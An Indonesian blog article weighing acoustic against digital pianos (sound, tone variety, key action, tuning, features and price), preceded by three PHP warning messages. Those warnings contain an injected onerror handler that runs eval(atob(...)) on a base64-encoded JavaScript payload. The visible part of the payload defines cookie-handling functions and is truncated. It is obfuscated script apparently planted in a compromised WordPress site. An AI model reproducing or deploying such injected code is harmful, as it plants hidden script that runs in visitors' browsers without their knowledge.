Pilih mana, Akustik Piano atau Digital Piano?


Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/artech/public_html/wp-content/themes/flat/wppr/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICAgICAg in /home/artech/public_html/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/artech/public_html/wp-content/themes/flat/wppr/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICAgICAg in /home/artech/public_html/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/artech/public_html/wp-content/plugins/wp-product-review/includes/public/layouts/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZyg in /home/artech/public_html/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Pertanyaan ini sering kali saya dapati pada pembeli yang mencari piano, baiknya akustik piano atau digital piano?
Secara umum, saya akan menjawab digital piano, bukan karena digital piano lebih baik dari akustik namun secara umum piano digital lebih dapat mengakomodasi banyak kondisi ketimbang piano akustik. Berikut beberapa penjabaran perbedaan piano digital dan akustik :

Naturalitas dan Kompleksitas Suara Piano

Akustik piano dan digital piano memiliki perbedaan dalam hal suara. Suara akustik piano sudah jelas suara yang dihasilkan natural, berbagai faktor yang mempengaruhi suara seperti resonansi, vibrasi soundboard dan segala kompleksitasnya akan mempengaruhi karakter suara piano dan akan muncul secara alami sesuai desain pianonya. Pada digital piano umumnya suara diambil dari sampling satu key dengan beberapa variasi tekanan mulai dari sentuhan paling lembut sampai tekanan keras. Kemudian setiap sampling satu key tersebut juga digunakan untuk not pada beberapa key di sekitarnya dengan dilakukan stretching.

Sedangkan pada permainan piano umumnya beberapa key di tekan secara bersamaan dimana  hasil suara natural yang dihasilkan tidak sesederhana seperti membunyikan beberapa sampling not secara bersamaan, karena aktualnya pada piano akustik ada faktor faktor lain seperti karakter resonansi baik pada soundboard ataupun resonansi terhadap string lain yang berpengaruh menambah nuansa suara yang dihasilkan pada saat beberapa not dimainkan secara bersamaan. Kemajuan teknologi digital baik teknologi processor yang semakin canggih ataupun teknologi memory yang semakin besar membuat produsen piano digital juga bisa lebih leluasa untuk membuat kalkulasi suara yang dihasilkan lebih kompleks untuk menghasilkan suara yang lebih natural. Misal fitur sympathetic resonance yang sudah menjadi fitur standar pada digital piano baik pada piano low end sekalipun. Untuk digital piano high end bahkan setiap not di lakukan sampling sehingga sudah tidak ada proses stretching. Jadi walaupun digital piano tidak bisa menyamai naturalitas dan kompleksitas nuansa suara yang dihasilkan oleh akustik piano, namun beberapa fitur fitur physics modelling yang diterapkan pada digital piano saat ini membuatnya bisa dikatakan cukup mendekati suara akustik piano.

Warna suara / Tone Piano

Pengaturan variasi tones, touch response pada digital piano

Contoh pengaturan variasi tones, effect,  touch response pada digital piano

Walaupun akustik piano memiliki suara yang lebih natural, namun piano akustik hanya menghasilkan satu tone / warna suara yang sama. Setiap orang memiliki selera yang berbeda beda,  bisa dianalogikan dalam makanan ada yang suka pedas, ada yang tidak suka. ada yang suka makanan asin, manis, gurih ada yang tidak. Begitu juga dengan tone suara pada piano ada sangat banyak hal hal yang mempengaruhi karakternya, bahkan dari satu produsen piano yang sama bisa terdapat berbagai model akustik piano dengan karakter suara yang berbeda beda. Pada digital piano, untuk variasi tone suara piano jelas lebih unggul, karena umumnya digital piano menyediakan beberapa variasi suara tone piano misal concert grand, upright, pop grand, jazz piano, bright piano, mellow piano dimana karakter suaranya berbeda satu sama lain. Ditambah lagi pada digital piano mid – high end umumnya terdapat fitur untuk mengubah karakter suara tersebut, baik dari brightnessnya, EQ, efek reverb dlsbnya sehingga lebih mudah untuk mendapatkan karakter suara piano yang paling pas sesuai selera.

Kesalahan fatal customer yang ingin membeli piano akustik adalah menentukan pilihan piano akustik hanya berdasarkan pendapat orang lain baik review online ataupun pendapat dari guru les piano. Padahal tone suara piano akustik sifatnya sangat subjective dimana selera orang bisa berbeda beda. Sedangkan pada piano digital jumlah variasi suara yang tersedia dalam satu perangkat umumnya ada berbagai jenis suara piano, ditambah kemampuan untuk editing tonenya membuat pengguna dapat menemukan suara yang paling sesuai dengan selera.  Belum lagi fitur untuk melayer suara piano (misal dengan suara string/pad) sehingga bisa menambah variasi suara dalam bermain piano.

Touch Feel dan Response

Key action pada kawai MP11 dengan menggunakan tuts key dengan pivot point sama panjang dengan grand piano

Key action pada kawai MP11 dengan menggunakan tuts key dengan pivot point sama panjang dengan grand piano

Untuk piano akustik, jelas touch feelnya dijadikan acuan, piano digital dibuat untuk touch feelnya menyerupai piano akustik. Namun perlu diperhatikan juga touch feel pada tuts piano akustik upright sangat berbeda dengan touch feel pada grand piano akustik. sedangkan piano digital terutama pada kelas high end umumnya dibuat touch feelnya berdasarkan key action pada grand piano akustik yang lebih superior dibanding key action pada piano akustik upright. Bahkan pada digital piano tertentu misal Kawai MP11 menggunakan struktur key yang panjangnya sampai dengan titik pivot nya sama dengan grand piano akustik dan dengan material kayu yang sama sehingga bisa dibilang feel key actionnya sangat mendekati feel grand piano akustik dan tentunya lebih baik dibanding piano akustik upright. Key action pada digital high end lainnya seperti PHA4 Concert pada roland, atau NWX pada yamaha juga bisa dibilang mendekati karakter grand piano akustik, ketimbang upright. Pada piano akustik terdapat feel feedback vibrasi string pada key yang umumnya tidak bisa didapatkan pada stage piano dengan speaker terpisah ataupun digital piano dengan speaker terattach namun dengan power amplifier yang kecil. Namun feel vibrasi ini bisa didapatkan pada digital piano cabinet dengan power amplifier yang mencukupi seperti pada seri Yamaha Clavinova dimana rambatan getaran pada speaker juga dapat ikut menggetarkan key pada piano.

Untuk response dari tekanan tuts, digital piano lebih unggul, karena umumnya pada digital piano konfigurasi responsenya bisa di atur apakah ingin dibuat light, normal, atau heavy. Untuk pengguna yang ingin memainkan piano dengan rentang dinamis yang lebih kecil (suara satu not dan not lainnya tidak terdengar jauh berbeda kekerasannya) bisa memilih konfigurasi heavy, sedangkan pemain piano yang belum memiliki finger strength yang cukup untuk bermain forte, bisa memilih response light untuk lebih mudah mendapatkan suara forte. Pada piano akustik, konfigurasi response tidak bisa diubah.

Presisi Suara dan Maintenance

Piano Tuning

Piano Tuning

Piano akustik merupakan salah satu instrumen musik yang cukup memerlukan perhatian untuk dimaintenance, diperlukan proses tuning ulang minimal setiap 6 bulan untuk membuat suaranya tetap tune/tidak fals, diperlukan teknisi berpengalaman untuk proses maintenance tersebut. Sedangkan pada piano digital, suaranya selalu presisi dalam kondisi prima tanpa perlu maintenance.

Fitur

Salah satu keunggulan lain dari digital piano yaitu umumnya memilki fitur standar seperti metronome, layering suara, merekam permainan dan memplaybacknya, Volume Control/Headphone.  Aktivitas bermain piano bisa dikatakan sebagai aktivitas yang “berisik”, dimana akan mengganggu jika kondisinya sedang ada anggota keluarga yang sedang menonton tv, tidur, belajar dll.  Volume control dan headphone adalah salah satu fitur standar yang pasti ada dalam sebuah piano digital yang dapat memberi poin plus tersendiri dibanding piano akustik.

Harga
Harga piano akustik terbilang cukup tinggi jika dibandingkan dengan piano digital. Untuk membeli sebuah piano akustik upright entry level, budget yang dibutuhkan kurang lebih sama dengan budget untuk membeli piano digital high end yang lengkap dengan berbagai fitur. Namun dari sisi depresiasi harga, produk produk dengan teknologi digital akan lebih cepat jatuh karena cepatnya perkembangan teknologi.

Kesimpulan
Tidak ada jawaban yang benar ataupun salah mengenai mana yang lebih baik, digital piano ataupun akustik piano. Secara umum digital piano dapat lebih mengakomodasi banyak kalangan baik dari sisi fitur fiturnya, variasi suara, kemudahan untuk di pindah pindah ataupun harganya. Namun piano akustik tetap memiliki nilai plus tersendiri  dari suaranya, sampai saat ini belum ada satupun digital piano yang bisa menghasilkan suara sekompleks suara yang dikeluarkan dari akustik piano terutama akustik grand piano.

Leave a Reply

Your email address will not be published. Required fields are marked *